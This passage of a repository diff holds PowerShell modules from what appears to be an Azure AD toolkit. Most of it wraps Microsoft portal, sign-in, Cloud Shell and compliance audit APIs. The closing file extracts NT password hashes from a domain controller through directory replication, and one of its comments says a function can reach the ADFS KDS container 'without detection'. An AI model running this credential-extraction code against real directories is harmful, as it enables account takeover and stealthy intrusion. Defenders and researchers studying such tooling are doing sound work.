usemdmforsql":"true","feature.usesimpleavatarmenu":"true","hubsextension_budgets":"true","hubsextension_costalerts":"false","hubsextension_costanalysis":"true","hubsextension_costrecommendations":"true","hubsextension_eventgrid":"true","hubsextension_isinsightsextensionavailable":"true","hubsextension_islogsbladeavailable":"true","hubsextension_isomsextensionavailable":"true","hubsextension_savetotemplatehub":"true","hubsextension_servicenotificationsblade":"true","hubsextension_showservicehealthevents":"true","microsoft_azure_marketplace_itemhidekey":"Citrix_XenDesktop_EssentialsHidden,Citrix_XenApp_EssentialsHidden,AzureProject"}'
"x-ms-version" = "5.0.302.5601 (production#c19533145d.181011-0133) Signed"
"X-Requested-With" = "XMLHttpRequest"
"Referer" = "https://portal.azure.com/"
"x-ms-client-session-id" = $Script:AADSessionId
"Origin" = "https://portal.azure.com"
"x-ms-effective-locale"="en.en-us"
"Accept-Language" = "en"
"User-Agent"="Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
"Cookie" ="browserId=6d84502d-b03c-433c-acec-d87e20449090"
}
$Body=@{
"extensionName" = $ExtensionName
"portalAuthorization" = $AccessToken.refresh_token
"resourceName" = $ResourceName
"tenant" = Get-TenantId -AccessToken $AccessToken.access_token
}
# Call the API
$response = Invoke-RestMethod -UseBasicParsing -Uri "https://portal.azure.com/api/DelegationToken?feature.tokencaching=true" -ContentType "application/json" -Method POST -Body ($Body | ConvertTo-Json) #-Headers $Headers -WebSession $Script:azureWebSession
# Return
$response.value
}
}
# Calls the Azure AD IAM API
function Call-AzureAADIAMAPI
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
$Body,
[Parameter(Mandatory=$True)]
$AccessToken,
[Parameter(Mandatory=$True)]
$Command,
[Parameter(Mandatory=$False)]
[ValidateSet('Put','Get','Post','Delete')]
[String]$Method="Get",
[Parameter(Mandatory=$False)]
[String]$Version = "2.0"
)
Process
{
# Check the expiration
if(Is-AccessTokenExpired($AccessToken))
{
throw "AccessToken has expired"
}
$headers=@{
"Authorization" = "Bearer $AccessToken"
"X-Requested-With" = "XMLHttpRequest"
"x-ms-client-request-id" = (New-Guid).ToString()
}
# Call the API
$response = Invoke-RestMethod -UseBasicParsing -Uri "https://main.iam.ad.ext.azure.com/api/$command`?api-version=$Version" -ContentType "application/json; charset=utf-8" -Headers $headers -Method $Method -Body ($Body | ConvertTo-Json -Depth 5)
# Return
if($response.StatusCode -eq $null)
{
return $response
}
}
}
# Calls the Azure Management API
# Jul 11th 2019
function Call-AzureManagementAPI
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
$Body,
[Parameter(Mandatory=$True)]
$AccessToken,
[Parameter(Mandatory=$True)]
$Command
)
Process
{
# Check the expiration
if(Is-AccessTokenExpired($AccessToken))
{
throw "AccessToken has expired"
}
$headers=@{
"Authorization" = "Bearer $AccessToken"
"X-Requested-With" = "XMLHttpRequest"
"x-ms-client-request-id" = (New-Guid).ToString()
}
# Call the API
$response=Invoke-RestMethod -UseBasicParsing -Uri "https://portal.azure.com/api/$command" -Method Post -Headers $headers
# Return
return $response
}
}
# Prompts for credentials and gets the access token
# Supports MFA, federation, etc.
# Jul 11th 2019
function Prompt-AzureADCredentials
{
[cmdletbinding()]
Param(
)
Process
{
# Set variables
$auth_redirect="https://portal.azure.com/signin/index/"
$url="https://portal.azure.com/"
# Create the form
$form = Create-LoginForm -Url $url -auth_redirect $auth_redirect
# Show the form and wait for the return value
if($form.ShowDialog() -ne "OK") {
# Dispose the control
$form.Controls[0].Dispose()
Write-Verbose "Login cancelled"
return $null
}
# Dispose the control
$form.Controls[0].Dispose()
# Get the access token from script scope variable
$accessToken = $script:accessToken
$script:accessToken = $null
# Return
$accessToken
}
}
Binary file not shown.
+276
View File
@@ -0,0 +1,276 @@
# Get's tokens using CBA
# May 24th 2022
function Get-AdminPortalAccessTokenUsingCBA
{
<#
.SYNOPSIS
Gets Access Tokens using CBA
.DESCRIPTION
Gets Access Tokens using Certificate Based Authentication (CBA). Returns tokens for Portal and Business Store.
Assumes that CN of the given certificate contains upn with domain name.
.Parameter PfxFileName
Name of the certificate file to be used
.Parameter PfxPassword
Password of the certificate file to be used
.Example
Get-AADIntAccessTokenForAADGraph
.Example
PS C:\>$tokens = Get-AADIntAdminPortalAccessTokenUsingCBA -PfxFileName .\my_cert.pfx -PfxPassword "my supersecret password"
Logged in as user@company.com
PS C:\>Read-AADIntAccesstoken $tokens[0] | Select aud,iss,appid,amr | fl
aud : https://portal.office.com/
iss : https://sts.windows.net/25dc721a-d37f-44ec-b8dc-cc5783e9ec56/
appid : 00000006-0000-0ff1-ce00-000000000000
amr : {rsa, mfa}
#>
[cmdletbinding()]
Param(
[Parameter(ParameterSetName="File",Mandatory=$True)]
[string]$PfxFileName,
[Parameter(ParameterSetName="File",Mandatory=$False)]
[string]$PfxPassword,
[Parameter(ParameterSetName="Certificate",Mandatory=$True)]
[System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate
)
Process
{
if($Certificate -eq $null)
{
$Certificate = Load-Certificate -FileName $PfxFileName -Password $PfxPassword -Exportable
}
$TenantId = Get-TenantID -Domain $certificate.SubjectName.Name.Split("@")[1]
# Create a web session
$webSession = New-Object Microsoft.PowerShell.Commands.WebRequestSession
$webSession.Cookies.Add((New-Object System.Net.Cookie("x-portal-routekey", "wuk", "/", "admin.microsoft.com")))
# Invoke the first request to get redirect url
$response = Invoke-WebRequest -UseBasicParsing -Uri "https://admin.microsoft.com/login?ru=%2FAdminportal%2FHome%3F%26source%3Dapplauncher" -Method Get -WebSession $webSession -ErrorAction SilentlyContinue -MaximumRedirection 0
$url = $response.Headers.'Location'
# Get the login parameters and cookies with the certificate
$loginInfo = Get-LoginParametersUsingCBA -Url $url -TenantId $TenantId -Certificate $certificate -WebSession $webSession
# Send parameters to redirect_url
$response2 = Invoke-RestMethod -UseBasicParsing -Uri "https://admin.microsoft.com/landing" -Method Post -Body $loginInfo.parameters -MaximumRedirection 0 -ErrorAction SilentlyContinue -WebSession $webSession
# Return an array of access tokens
$retVal = @()
$retVal += Get-AccessTokenUsingAdminAPI -TokenType PortalAT -WebSession $webSession
$retVal += Get-AccessTokenUsingAdminAPI -TokenType BusinessStoreAT -WebSession $webSession
return $retVal
}
}
# Get's tokens using CBA
# May 24th 2022
function Get-PortalAccessTokenUsingCBA
{
<#
.SYNOPSIS
Gets Access Tokens using CBA
.DESCRIPTION
Gets Access Tokens using Certificate Based Authentication (CBA).
Returns tokens for Graph, Office search, Substrate, Loki, and Portal
Assumes that CN of the given certificate contains upn with domain name.
.Parameter PfxFileName
Name of the certificate file to be used
.Parameter PfxPassword
Password of the certificate file to be used
.Example
Get-AADIntAccessTokenForAADGraph
.Example
PS C:\>$tokens = Get-AADIntPortalAccessTokenUsingCBA -PfxFileName .\my_cert.pfx -PfxPassword "my supersecret password"
Logged in as user@company.com
PS C:\>Read-AADIntAccesstoken $tokens[0] | Select aud,iss,appid,amr | fl
aud : https://graph.microsoft.com
iss : https://sts.windows.net/25dc721a-d37f-44ec-b8dc-cc5783e9ec56/
appid : 4765445b-32c6-49b0-83e6-1d93765276ca
amr : {rsa, mfa}
#>
[cmdletbinding()]
Param(
[Parameter(ParameterSetName="File",Mandatory=$True)]
[string]$PfxFileName,
[Parameter(ParameterSetName="File",Mandatory=$False)]
[string]$PfxPassword,
[Parameter(ParameterSetName="Certificate",Mandatory=$True)]
[System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate
)
Process
{
if($Certificate -eq $null)
{
$Certificate = Load-Certificate -FileName $PfxFileName -Password $PfxPassword -Exportable
}
$TenantId = Get-TenantID -Domain $certificate.SubjectName.Name.Split("@")[1]
# Create a web session
$webSession = New-Object Microsoft.PowerShell.Commands.WebRequestSession
# Invoke the first request to get redirect url
$response = Invoke-WebRequest -UseBasicParsing -Uri "https://www.office.com/login?ru=%2F%3Ffrom%3DPortalHome" -Method Get -WebSession $webSession -ErrorAction SilentlyContinue -MaximumRedirection 0
$url = $response.Headers.'Location'
# Get the login parameters and cookies with the certificate
$loginInfo = Get-LoginParametersUsingCBA -Url $url -TenantId $TenantId -Certificate $certificate -WebSession $webSession
# Send parameters to redirect_url
$response2 = Invoke-RestMethod -UseBasicParsing -Uri "https://www.office.com/landingv2" -Method Post -Body $loginInfo.parameters -MaximumRedirection 1 -ErrorAction SilentlyContinue -WebSession $webSession
# Parse tokens from the html
$tokens = (Get-Substring -String $response2 -Start '<div id="primaryTokensInfo" style="display: none;">' -End "</div>").replace('&quot;','"') | ConvertFrom-Json
# Return an array of access tokens
$retVal = @()
foreach($token in ($tokens | Get-Member -MemberType NoteProperty))
{
$value = $tokens | Select -ExpandProperty $token.Name
$retVal += $value.TokenValue
}
return $retVal
}
}
function Get-LoginParametersUsingCBA
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$Url,
[Parameter(Mandatory=$True)]
[String]$TenantId,
[Parameter(Mandatory=$True)]
[System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate,
[Parameter(Mandatory=$True)]
[Microsoft.PowerShell.Commands.WebRequestSession]$WebSession
)
Process
{
function Get-Config
{
Param(
[Parameter(Mandatory=$True)]
[String]$Content
)
Process
{
$strConfig = Get-Substring -String $Content -Start '$Config=' -End ";`n"
if([string]::IsNullOrEmpty($strConfig))
{
Throw "Could not parse config"
}
try
{
return $strConfig | ConvertFrom-Json
}
catch
{
Throw "Coud not parse config"
}
}
}
$nonce = (New-Guid).ToString()
# Make an initial request to login.microsoftonline.com to get required tokens and config
$response1 = Invoke-WebRequest -UseBasicParsing -Uri $Url -Method Get -WebSession $WebSession -ErrorAction SilentlyContinue
# Extract the config
$config = Get-Config -Content $response1.Content
# Make request to https://certauth.login.microsoftonline.com/<tenantid>/certauth
$body = @{
"ctx"=$config.sCtx
"flowToken"=$config.sFT
}
$response2 = Invoke-RestMethod -UseBasicParsing -Uri "https://certauth.login.microsoftonline.com/$TenantId/certauth" -Method Post -Body $body -Certificate $Certificate
# Parse the hidden form fields
$parameters = @{}
foreach($e in $response2.html.body.form.input)
{
$parameters[$e.name]=$e.value
}
# Make the final request to login.microsoftonline.com to get cookies
$response3 = Invoke-WebRequest -UseBasicParsing -Uri "https://login.microsoftonline.com/common/login" -Method Post -Headers @{"Referer"="https://certauth.login.microsoftonline.com/"} -Body $parameters
# Parse the config
$config = Get-Config -Content $response3.content
if(-not [string]::IsNullOrEmpty($config.strMainMessage))
{
Throw $config.strServiceExceptionMessage
}
# Get the cookies
foreach($cookie in $response3.Headers.'Set-Cookie'.Split(","))
{
$parts = $cookie.Split(";")[0].Split("=")
switch($parts[0])
{
"ESTSAUTH" { $estsauth = $parts[1] }
"ESTSAUTHLIGHT" { $estsauthlight = $parts[1] }
}
}
Write-Host "Logged in as $($config.sPOST_Username)" -ForegroundColor Green
# Make a request to login.microsoftonline.com/kmsi to get code and id_token
$body = @{
"LoginOptions" = "3"
"type" = "28"
"ctx" = $config.sCtx
"hpgrequestid" = $config.sessionId
"flowToken" = $config.sFT
"canary" = $config.canary
"i19" = "2326"
}
$response4 = Invoke-RestMethod -UseBasicParsing -Uri "https://login.microsoftonline.com/kmsi" -Method Post -WebSession $WebSession -Body $body
# Parse the hidden form fields
$parameters = @{}
foreach($e in $response4.html.body.form.input)
{
$parameters[$e.name]=$e.value
}
if(-not $parameters.ContainsKey("code"))
{
$config = Get-Config -Content $response4
if(-not [string]::IsNullOrEmpty($config.strMainMessage))
{
Throw $config.strServiceExceptionMessage
}
Throw "Could not get authorization code!"
}
# Return
return New-Object psobject -Property @{
"parameters" = $parameters
"ESTSAUTH" = $estsauth
}
}
}
+61
View File
@@ -0,0 +1,61 @@
# This script contains functions for client side
<#
.SYNOPSIS
Gets the Office update branch of the local computer
.DESCRIPTION
Gets the Office update branch of the local computer from the registry
.Example
Get-AADIntOfficeUpdateBranch
Update branch: Current
#>
# Jul 8th 2019
function Get-OfficeUpdateBranch
{
Param(
[ValidateSet('16.0')]
[String]$Version="16.0"
)
Process
{
$reg=Get-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\office\$Version\common\officeupdate\"
Write-Host "Update branch: $($reg.updateBranch)"
#Write-Host "Automatic updates enabled: $($reg.EnableAutomaticUpdates -ne 0)"
}
}
<#
.SYNOPSIS
Sets the Office update branch of the local computer
.DESCRIPTION
Sets the Office update branch of the local computer to the registry. Requires administrator rights!
.Example
Set-AADIntOfficeUpdateBranch -UpdateBranch InsiderFast
Update branch: InsiderFast
#>
# Jul 8th 2019
function Set-OfficeUpdateBranch
{
Param(
[ValidateSet('16.0')]
[String]$Version="16.0",
[ValidateSet('InsiderFast','FirstReleaseCurrent','Current','FirstReleaseDeferred','Deferred','DogFood')]
[String]$UpdateBranch="Current"
)
Process
{
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\office\$Version\common\officeupdate\" -Name "updateBranch" -Value $UpdateBranch
Get-OfficeUpdateBranch -Version $Version
}
}
+164
View File
@@ -0,0 +1,164 @@
# Starts Azure Cloud Shell session
# Sep 8th 2020
function Start-CloudShell
{
<#
.SYNOPSIS
Starts an Azure Cloud Shell session.
.DESCRIPTION
Starts an Azure Cloud Shell session for the given user.
Note: Does not work with VSCode or ISE.
.Parameter AccessToken
The access token used to start the session.
.EXAMPLE
Get-AADIntAccessTokenForCloudShell -SaveToCache
PS\:>Start-AADIntCloudShell
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[ValidateSet('PowerShell','Bash')]
[String]$Shell="PowerShell"
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://management.core.windows.net/" -ClientId "0c1307d4-29d6-4389-a11c-5cbe7f65d7fa"
if(!$host.UI.SupportsVirtualTerminal)
{
Write-Error "PowerShell ISE or VSCode not supported!"
return
}
try
{
# Get the shell info
$shellInfo = New-CloudShell -AccessToken $AccessToken
Write-Verbose "Created shell $($shellInfo.uri)"
# Get the authorization code
$authToken = Get-CloudShellAuthToken -AccessToken $AccessToken -Url $shellInfo.uri
Write-Verbose "Received auth-token $authToken"
# Get the settings
$settings = Get-CloudShellSettings -AccessToken $AccessToken -Url $shellInfo.uri -Shell $Shell
Write-Verbose "Received cloud shell settings"
}
catch
{
Write-Error "Failed to connect to Cloud Shell $($_.Message)"
return
}
# Save the current setting for Ctrl+C
$CtrlC = [console]::TreatControlCAsInput
Try
{
$url = $settings.socketUri
# Create the socket and keep alive
$socket = New-Object System.Net.WebSockets.ClientWebSocket
# Set the cookies
$cookiec = [System.Net.CookieContainer]::new(1)
$cookie = [System.Net.Cookie]::new("auth-token", $authToken)
$cookie.Domain = ".console.azure.com"
$cookiec.Add($cookie)
$socket.Options.Cookies = $cookiec
# Create the token and open the connection
$token = New-Object System.Threading.CancellationToken
$connection = $socket.ConnectAsync($url, $token)
Write-Verbose "Connecting to socket $($settings.socketUri)"
# Wait 'till the connection is completed
While (!$connection.IsCompleted) { Start-Sleep -Milliseconds 100 }
if($connection.IsFaulted -eq "True")
{
Write-Error $connection.Exception
return
}
Write-Verbose "Connected to socket."
# Buffer for the content
$buffer = New-Object Byte[] 1024
$socket_in = $Socket.ReceiveAsync($buffer, $Token)
# Clear the console and set the Ctlr+C to be used as an input (so that we can stop things running in cloud)
[console]::TreatControlCAsInput = $true
[console]::Clear()
# The main loop
do
{
# If the read is completed, print it to console and start another read
if($socket_in.IsCompleted)
{
$retVal = $buffer[0..$($socket_in.Result.Count-1)]
$text = [text.encoding]::UTF8.GetString($retVal)
[console]::Write($text)
$socket_in = $Socket.ReceiveAsync($buffer, $Token)
}
# Read the key if available
if([console]::KeyAvailable)
{
$key = [console]::ReadKey($True)
# https://docs.microsoft.com/en-us/windows/console/console-virtual-terminal-sequences
switch($key.Key)
{
"Insert" { $keyBytes = [byte[]]@(27,91,50,126) }
"Delete" { $keyBytes = [byte[]]@(27,91,51,126) }
"PageUp" { $keyBytes = [byte[]]@(27,91,53,126) }
"PageDown" { $keyBytes = [byte[]]@(27,91,54,126) }
"UpArrow" { $keyBytes = [byte[]]@(27,79,65) }
"DownArrow" { $keyBytes = [byte[]]@(27,79,66) }
"RightArrow" { $keyBytes = [byte[]]@(27,79,67) }
"LeftArrow" { $keyBytes = [byte[]]@(27,79,68) }
"Home" { $keyBytes = [byte[]]@(27,79,72) }
"End" { $keyBytes = [byte[]]@(27,79,70) }
default { $keyBytes = [text.encoding]::UTF8.GetBytes($key.KeyChar) }
}
SendToSocket -Socket $socket -Token $token -Bytes $keyBytes
}
} Until (!$connection -or $socket_in.IsFaulted -eq "True")
}
Catch
{
Write-Error $_
}
Finally
{
# Return the original Ctrl+C
[console]::TreatControlCAsInput = $CtrlC
If ($socket) {
Write-Verbose "Closing websocket"
$socket.Dispose()
}
}
}
}
+108
View File
@@ -0,0 +1,108 @@
# Creates a new Cloud Shell
# Sep 8th 2020
function New-CloudShell
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[String]$PreferredLocation="westeurope"
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://management.core.windows.net/" -ClientId "c44b4083-3bb0-49c1-b47d-974e53cbdf3c"
$headers=@{
"x-ms-console-preferred-location" = $PreferredLocation
"Content-Type" = "application/json"
"Authorization" = "Bearer $AccessToken"
}
$body = '{"properties":{"osType":"linux"}}'
$response = Invoke-RestMethod -UseBasicParsing -Uri "https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2020-04-01-preview" -Method Put -Body $body -Headers $headers -ErrorAction SilentlyContinue
# return
return $response.properties
}
}
# Gets cloud shell authorization token
# Sep 8th 2020
function Get-CloudShellAuthToken
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$Url
)
Process
{
# Create headers
$headers=@{
"Content-Type" = "application/json"
"Authorization" = "Bearer $AccessToken"
}
# Empty body
$body = '{}'
# Fix the url
$url = $url.Replace(":443","")
$response = Invoke-RestMethod -UseBasicParsing -Uri "$url/authorize" -Method Post -Body $body -Headers $headers
# return
return $response.token
}
}
# Gets cloud shell settings
# Sep 8th 2020
function Get-CloudShellSettings
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$Url,
[Parameter(Mandatory=$False)]
[String]$Shell="pwsh"
)
Process
{
# Create headers
$headers=@{
"Content-Type" = "application/json"
"Authorization" = "Bearer $AccessToken"
}
# Get the window size
$rows = [console]::WindowHeight
$cols = [console]::WindowWidth
if($Shell -ne "Bash")
{
$Shell = "pwsh"
}
# Empty body
$body = '{}'
# Fix the url
$url = $url.Replace(":443","")
$response = Invoke-RestMethod -UseBasicParsing -Uri "$url/terminals?cols=$cols&rows=$rows&version=2019-01-01&shell=$Shell" -Method Post -Body $body -Headers $headers
# return
return $response
}
}
+2479
View File
File diff suppressed because one or more lines are too long
+167
View File
@@ -0,0 +1,167 @@
# This file contains functions for Compliance API
# Aug 31st 2021
# Gets cookies used with compliance API functions
function Get-ComplianceAPICookies
{
<#
.SYNOPSIS
Gets cookies used with compliance API functions
.DESCRIPTION
Gets cookies used with compliance API functions.
Note: Uses interactive login form so AAD Joined or Registered computers may login automatically. If this happens, start PowerShell as another user and try again.
.Example
PS C:\>$cookies = Get-AADIntComplianceAPICookies
PS C:\>Search-AADIntUnifiedAuditLog -Cookies $cookies -Verbose -Start (get-date).AddDays(-90) | Set-Content auditlog.json
.Example
PS C:\>$cookies = Get-AADIntComplianceAPICookies
PS C:\>Search-AADIntUnifiedAuditLog -Cookies $cookies -Verbose -Start (get-date).AddDays(-90) | ConvertTo-Csv | Set-Content auditlog.csv
#>
[cmdletbinding()]
Param()
Process
{
Write-Warning "Get-AADIntComplianceAPICookies function doesn't work right with SSO. If credentials are not prompted, start PowerShell as another user and try again."
$url = "https://compliance.microsoft.com"
# Get the first set of cookies
$response = Invoke-WebRequest -UseBasicParsing -Uri $url -SessionVariable "WebSession" -Method get -MaximumRedirection 0 -ErrorAction SilentlyContinue
$url = $response.Headers["location"]
$form = Create-LoginForm -Url $url -auth_redirect "https://login.microsoftonline.com/kmsi"
# Show the form and wait for the return value
if($form.ShowDialog() -ne "OK") {
# Dispose the control
$form.Dispose()
Write-Verbose "Login cancelled"
return $null
}
# Parse the hidden form to get the parameters
$hiddenForm = $form.controls[0].document.DomDocument.forms[0]
$redirect = $hiddenForm.action
$body=@{}
foreach($element in $hiddenForm.elements)
{
if($element.Type -eq "hidden")
{
$body[$element.Name] = $element.Value
}
}
# Increase the cookie maximum size and get the second set of cookies.
$websession.Cookies.MaxCookieSize=65536
$response = Invoke-WebRequest -UseBasicParsing -Uri $redirect -body $body -WebSession $WebSession -Method post -MaximumRedirection 1 -ErrorAction SilentlyContinue
# Dispose the form
$form.Dispose()
# Extract the required cookies (sccauth & XSRF-TOKEN)
$cookies = $WebSession.cookies.GetCookies("https://compliance.microsoft.com")
$attributes = [ordered]@{
"sccauth" = $cookies["sccauth" ].value
"XSRF-TOKEN" = $cookies["XSRF-TOKEN"].value
}
# Return
New-Object psobject -Property $attributes
}
}
# Aug 31st
# Searches UnifiedAuditLog
function Search-UnifiedAuditLog
{
<#
.SYNOPSIS
Searches Unified Audit Log
.DESCRIPTION
Searches Unified Audit Log using https://compliance.microsoft.com/api
.Parameter Cookies
Compliance API cookies. A PSObject with sccauth and XSRF-TOKEN properties.
.Parameter Start
Start time (date) of the search. Defaults to current date - 1 day.
.Parameter End
Start time (date) of the search. Defaults to current date.
.Parameter All
If provided, returns all results (max 50100)
.Parameter IpAddresses
List of IP addresses to search.
.Parameter Operations
List of operations to search. The list of available operations: https://docs.microsoft.com/microsoft-365/compliance/search-the-audit-log-in-security-and-compliance#audited-activities
.Parameter Target
The target file, folder, or site. Url or a part of it withouth spaces.
.Parameter Users
List of users to search. UPNs and partial UPNs seem to work.
.Example
PS C:\>$cookies = Get-AADIntComplianceAPICookies
PS C:\>Search-AADIntUnifiedAuditLog -Cookies $cookies -Verbose -Start (get-date).AddDays(-90) | Set-Content auditlog.json
.Example
PS C:\>$cookies = Get-ComplianceAPICookies
PS C:\>Search-AADIntUnifiedAuditLog -Cookies $cookies -Verbose -Start (get-date).AddDays(-90) | ConvertTo-Csv | Set-Content auditlog.csv
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[psobject]$Cookies,
[Parameter(Mandatory=$False)]
[datetime]$Start = (Get-Date).AddDays(-1),
[Parameter(Mandatory=$False)]
[datetime]$End = (Get-Date),
[Parameter(Mandatory=$False)]
[switch]$All,
[Parameter(Mandatory=$False)]
[string[]]$IpAddresses,
[Parameter(Mandatory=$False)]
[string]$Target,
[Parameter(Mandatory=$False)]
[string[]]$Operations,
[Parameter(Mandatory=$False)]
[string[]]$Users
)
Process
{
$body=@{
"newSession" = $true
"optin" = $true
"sessionId" = [uint64]((Get-Date).ToUniversalTime() - $epoch).totalmilliseconds
"startDate" = "$($Start.ToString("yyyy-MM-dd")) 00:00:00 +0000"
"endDate" = "$( $End.ToString("yyyy-MM-dd")) 00:00:00 +0000"
"ipAddresses" = $IpAddresses -join ","
"targetObject" = $Target
"operations" = $Operations -join ","
"users" = $Users -join ","
}
do
{
# Invoke the request
$results = Invoke-ComplianceAPIRequest -Cookies $Cookies -api "UnifiedAuditLog" -Method POST -Body ($body|ConvertTo-Json)
# Change the newSession to false to fetch rest of the events
$body["newSession"] = $false
# Verbose
Write-Verbose "Received: $($results[$results.count-1].ResultIndex)/$($results[$results.count-1].ResultCount)"
# Return
$results
} # If -All switch used, loop until all results received
while($All -and $results[$results.count-1].ResultIndex -lt $results[$results.count-1].ResultCount)
}
}
+51
View File
@@ -0,0 +1,51 @@
# This file contains utility functions for Compliance API
# Invokes request for the given compliance API call
# Aug 31st 2021
function Invoke-ComplianceAPIRequest
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[psobject]$Cookies,
[Parameter(Mandatory=$True)]
[String]$api,
[Parameter(Mandatory=$False)]
[String]$Method = "Get",
[Parameter(Mandatory=$False)]
[String]$Body = $null,
[Parameter(Mandatory=$False)]
[String]$ContentType = "application/json; charset=utf-8",
[Parameter(Mandatory=$False)]
[Hashtable]$Headers=@{}
)
Process
{
# Check the cookies
if(!($Cookies.'XSRF-TOKEN' -and $Cookies.sccauth))
{
Throw "XSRF-TOKEN and sccauth cookies required!"
}
$url = "https://compliance.microsoft.com/api/$api"
# First, add XSRF-TOKEN to headers
$Headers["X-XSRF-TOKEN"] = [System.Net.WebUtility]::UrlDecode($Cookies.'XSRF-TOKEN')
# Create a web session for the cookies
$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession
$session.Cookies.Add([System.Net.Cookie]::new("XSRF-TOKEN",$Cookies.'XSRF-TOKEN',"/","compliance.microsoft.com"))
$session.Cookies.Add([System.Net.Cookie]::new("sccauth", $Cookies.sccauth ,"/","compliance.microsoft.com"))
$session.Cookies.MaxCookieSize=65536
# Invoke the command
if($Method -eq "Put" -or $Method -eq "Post")
{
Invoke-RestMethod -UseBasicParsing -Method $Method -Uri $url -Headers $Headers -WebSession $session -Body $body -ContentType $ContentType
}
else
{
Invoke-RestMethod -UseBasicParsing -Method $Method -Uri $url -Headers $Headers -WebSession $session -ContentType $ContentType
}
}
}
+323
View File
@@ -0,0 +1,323 @@
# This script contains functions for Active Directory Replication Service (DRS)
# Mar 22nd 2021
function Get-DesktopSSOAccountPassword
{
<#
.SYNOPSIS
Gets NTHash of Desktop SSO account
.DESCRIPTION
Gets NTHash of Desktop SSO account using Directory Replication Service (DRS).
.PARAMETER AccountName
The name of the Desktop SSO computer account. Defaults to AZUREADSSOACC
.PARAMETER Credentials
Credentials used to connect to Domain Controller. Must have Directory Replication permissions.
.PARAMETER Server
Name or ip address of the Domain Contoller.
.PARAMETER AsHex
If defined, returns the NTHash as hex string.
.Example
$cred = Get-Credential
PS C:\>$NTHash = Get-AADIntDesktopSSOAccountPassword -Credentials $cred -Server 192.168.0.10
.Example
$cred = Get-Credential
PS C:\>Get-AADIntDesktopSSOAccountPassword -Credentials $cred -Server dc01 -AsHex
ed31d88da3fc9aaa850ead2161faa815
#>
[CmdletBinding()]
param(
[Parameter(Mandatory=$true)]
[string]$Server,
[Parameter(Mandatory=$true)]
[pscredential]$Credentials,
[Parameter(Mandatory=$false)]
[String]$AccountName="AZUREADSSOACC",
[Parameter(Mandatory=$false)]
[Switch]$AsHex
)
Process
{
# Get the object guid for the given account name
$dirEntry = [System.DirectoryServices.DirectoryEntry]::new("LDAP://$Server",$Credentials.UserName, $Credentials.GetNetworkCredential().Password)
$ADSearch = [System.DirectoryServices.DirectorySearcher]::new($dirEntry)
$ADSearch.Filter = "(name=$AccountName)"
$aduser = $ADSearch.FindOne()
$ObjectGuid = $aduser.Properties["ObjectGuid"][0]
if($AsHex)
{
return Get-ADUserNTHash -Server $Server -Credentials $Credentials -ObjectGuid $ObjectGuid -AsHex
}
else
{
return Get-ADUserNTHash -Server $Server -Credentials $Credentials -ObjectGuid $ObjectGuid
}
}
}
# Mar 21st 2021
function Get-ADUserNTHash
{
<#
.SYNOPSIS
Gets NTHash of the given object
.DESCRIPTION
Gets NTHash for the given object ID using Directory Replication Service (DRS).
.PARAMETER ObjectGuid
Guid of the AD object
.PARAMETER Credentials
Credentials used to connect to Domain Controller. Must have Directory Replication permissions.
.PARAMETER Server
Name or ip address of the Domain Contoller.
.PARAMETER AsHex
If defined, returns the NTHash as hex string.
.Example
$cred = Get-Credential
PS C:\>$NTHash = Get-AADIntAdUserNTHash -ObjectGuid 36f71b0f-9963-48e9-8efa-9441f54ed1a4 -Credentials $cred -Server 192.168.0.10
.Example
$cred = Get-Credential
PS C:\>Get-AADIntAdUserNTHash -ObjectGuid 36f71b0f-9963-48e9-8efa-9441f54ed1a4 -Credentials $cred -Server dc01 -AsHex
ed31d88da3fc9aaa850ead2161faa815
#>
[CmdletBinding()]
param(
[Parameter(Mandatory=$true)]
[string]$Server,
[Parameter(Mandatory=$true)]
[pscredential]$Credentials,
[Parameter(ParameterSetName='Guid',Mandatory=$true)]
[Guid]$ObjectGuid=[guid]::Empty,
[Parameter(ParameterSetName='DN',Mandatory=$true)]
[String]$DistinguishedName,
[Parameter(Mandatory=$false)]
[Switch]$AsHex
)
Process
{
$ADObject = Replicate-ADObject -Server $Server -Credentials $Credentials -ObjectGuid $ObjectGuid -DistinguishedName $DistinguishedName
if($ADObject.NTHash)
{
if($AsHex)
{
return Convert-ByteArrayToHex -Bytes $ADObject.NTHash
}
else
{
return $ADObject.NTHash
}
}
}
}
# Mar 21st 2021
function Get-ADUserThumbnailPhoto
{
<#
.SYNOPSIS
Gets thumbnailPhoto of the given object
.DESCRIPTION
Gets thumbnailPhoto for the given object ID using Directory Replication Service (DRS).
Can be used to access ADFS KDS container without detection.
.PARAMETER ObjectGuid
Guid of the AD object
.PARAMETER Credentials
Credentials used to connect to Domain Controller. Must have Directory Replication permissions.
.PARAMETER Server
Name or ip address of the Domain Contoller.
.PARAMETER AsHex
If defined, returns the thumbnailPhoto as hex string.
.Example
$cred = Get-Credential
PS C:\>$photo = Get-AADIntADUserThumbnailPhoto -ObjectGuid 36f71b0f-9963-48e9-8efa-9441f54ed1a4 -Credentials $cred -Server 192.168.0.10
.Example
$cred = Get-Credential
PS C:\>Get-AADIntADUserThumbnailPhoto -ObjectGuid 36f71b0f-9963-48e9-8efa-9441f54ed1a4 -Credentials $cred -Server dc01 -AsHex
ed31d88da3fc9aaa850ead2161faa815
#>
[CmdletBinding()]
param(
